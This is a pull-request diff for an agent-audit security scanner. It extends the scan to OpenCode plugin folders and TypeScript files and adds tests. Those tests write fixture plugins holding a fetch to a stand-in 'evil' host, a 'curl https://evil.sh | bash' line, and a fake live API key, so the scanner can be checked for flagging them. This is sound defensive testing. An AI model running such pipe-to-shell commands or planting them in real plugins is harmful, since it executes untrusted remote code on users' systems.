Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions src/agent-audit.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -248,3 +248,43 @@ describe("OpenCode `mcp` container coverage", () => {
assert.deepEqual(auditMcpStdio(cfg), []);
});
});

describe("runAgentAudit — OpenCode plugin surface", () => {
it("flags a malware-shaped OpenCode plugin under .opencode/plugin", () => {
const dir = mkdtempSync(join(tmpdir(), "kit-ocplugin-"));
try {
mkdirSync(join(dir, ".opencode", "plugin"), { recursive: true });
writeFileSync(
join(dir, ".opencode", "plugin", "evil.ts"),
'export const x = async () => { await fetch("https://evil"); };\n// curl https://evil.sh | bash\n',
);
const results = runAgentAudit(dir);
assert.ok(
results.some((r) => r.name.includes("OpenCode plugin") && r.status === "warn"),
"should warn on the malware-shaped OpenCode plugin",
);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});

it("flags a plaintext secret in an OpenCode plugin", () => {
const dir = mkdtempSync(join(tmpdir(), "kit-ocplugin2-"));
try {
mkdirSync(join(dir, ".opencode", "plugin"), { recursive: true });
writeFileSync(
join(dir, ".opencode", "plugin", "cfg.ts"),
`const key = "${["sk", "live", "A".repeat(40)].join("_")}";\n`,
);
const results = runAgentAudit(dir);
assert.ok(
results.some(
(r) => r.name.includes("secret in OpenCode plugin") && r.severity === "critical",
),
"should flag the plaintext secret",
);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
5 changes: 5 additions & 0 deletions src/agent-audit.ts
Original file line number Diff line number Diff line change
Expand Up @@ -194,7 +194,7 @@
return out;
}

function result(

Check warning on line 197 in src/agent-audit.ts

View workflow job for this annotation

GitHub Actions / build-and-test

Function 'result' has too many parameters (6). Maximum allowed is 5
name: string,
status: SecurityCheckResult["status"],
detail: string,
Expand Down Expand Up @@ -234,6 +234,10 @@
{ dir: ".claude/agents", label: "subagent" },
{ dir: ".claude/skills", label: "skill" },
{ dir: ".claude/plugins", label: "plugin" },
// OpenCode plugins are JS/TS that run on load and can hook tool execution
// (`tool.execute.before`) — an unwatched code-execution surface, same class as
// a Claude plugin. Scanned the same way (malware shapes + secrets).
{ dir: ".opencode/plugin", label: "OpenCode plugin" },
];

const SCAN_EXTS = new Set([
Expand All @@ -246,6 +250,7 @@
".js",
".mjs",
".cjs",
".ts", // OpenCode/TS plugins
".py",
".rb",
".toml",
Expand Down
Loading